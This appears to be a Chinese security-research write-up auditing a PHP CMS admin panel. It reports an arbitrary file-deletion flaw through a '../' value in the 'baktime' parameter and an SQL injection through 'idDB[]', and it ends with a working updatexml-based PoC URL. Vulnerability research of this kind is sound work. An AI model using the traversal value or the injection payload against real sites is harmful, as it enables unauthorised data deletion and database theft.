太菜了。。目前暂时只找到了一些后台的洞。。既然后台不是getshell,个人感觉都较鸡肋,希望师傅们轻喷。
$db
为数据库操作类
类的一些方法在
inc/mysql_class.php
的MYSQL_DB
类
中定义
核心系统要调用的一些函数与类的文件存放在inc目录下
function filtrate($msg){
//$msg = str_replace('&','&',$msg);
//$msg = str_replace(' ',' ',$msg);
$msg = str_replace('"','"',$msg);
$msg = str_replace("'",''',$msg);
$msg = str_replace("<","<",$msg);
$msg = str_replace(">",">",$msg);
$msg = str_replace("\t"," ",$msg);
//$msg = str_replace("\r","",$msg);
$msg = str_replace(" "," ",$msg);
return $msg;
}
从函数入手
在inc目录下全局搜索unlink
将目标锁定在
文件:inc/function.inc.php
函数:del_file
function del_file($path){
if (file_exists($path)){
if(is_file($path)){
if( !@unlink($path) ){
$show.="$path,";
}
} else{
....
简单的对$path
参数进行了判断,未经过任何过滤,就进行了@unlink($path)
于是现在寻找调用该函数的位置
在前台和会员中心并未发现调用该函数的地方
在后台有多处调用该函数
将目光定位在
文件:admin/mysql.php
关键代码
/**
*删除选定的备份数据
**/
elseif($action=='del'&&$Apower[mysql_del]){
if(!$baktime){
showmsg('请选择一个');
}
del_file(ROOT_PATH."cache/mysql_bak/$baktime");
if(!is_dir(ROOT_PATH."cache/mysql_bak/$baktime")){
jump("数据删除成功","index.php?lfj=mysql&job=del",5);
}else{
jump("数据删除失败,请确认目录属性为0777","index.php?lfj=mysql&job=del",5);
}
}
首先需要选择备份文件,然后直接调用del_file
函数对该备份文件进行删除
仅仅是拼接在了ROOT_PATH."cache/mysql_bak
后。跳出该目录即可进行任意文件删除
备份文件在
\cache\mysql_bak
下
先备份文件,接着删除该备份文件
修改baktime
为../hack
即可删除该目录
既然是后台注入。那么暂且归为鸡肋
本来在找任意文件写入,结果歪打正着找到了一个注入
文件:admin/html.php
第296行处
...
if($fiddb){
$stringFID=implode(",",$fiddb);
$SQL=" fid IN ($stringFID) ";
}elseif($idDB){
$string=implode(",",$idDB);
$SQL=" id IN ($string) ";
}
$str="<?php\r\n\$weburl='$WEBURL&step=end';\r\n";
$query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
...
$idDB
变量和$fiddb
都是从get传入,两个参数都能造成注入,这里用$idDB
变量。
传入$idDB
变量后,由于用到了implode
函数这里idDB
需要是数组,之后将该变量直接拼到了id IN ($string)
中给了$SQL
变量,然后又直接将$SQL
变量拼接进了数据库查询语句,这中间没有任何过滤,于是可造成SQL注入攻击
query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
后台大多数功能通过lfj参数进行访问,参数为文件名
需要传入参数action=make_SPhtml
才能进入判断
于是我们访问的链接
127.0.0.1:12345/7bocms/admin/index.php?lfj=html&action=make_SPhtml&idDB=1
直接就报错了,因为这里需要$idDB
是数组
所以我们重新传参(由于跳转,放到BP里验证)
在构造payload过程中发现
会把) 后面的给 "吃掉"
于是尝试用加号绕过
再将#编码%23
成功注入
poc=/admin/index.php?lfj=html&action=make_SPhtml&idDB[]=1)+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))%23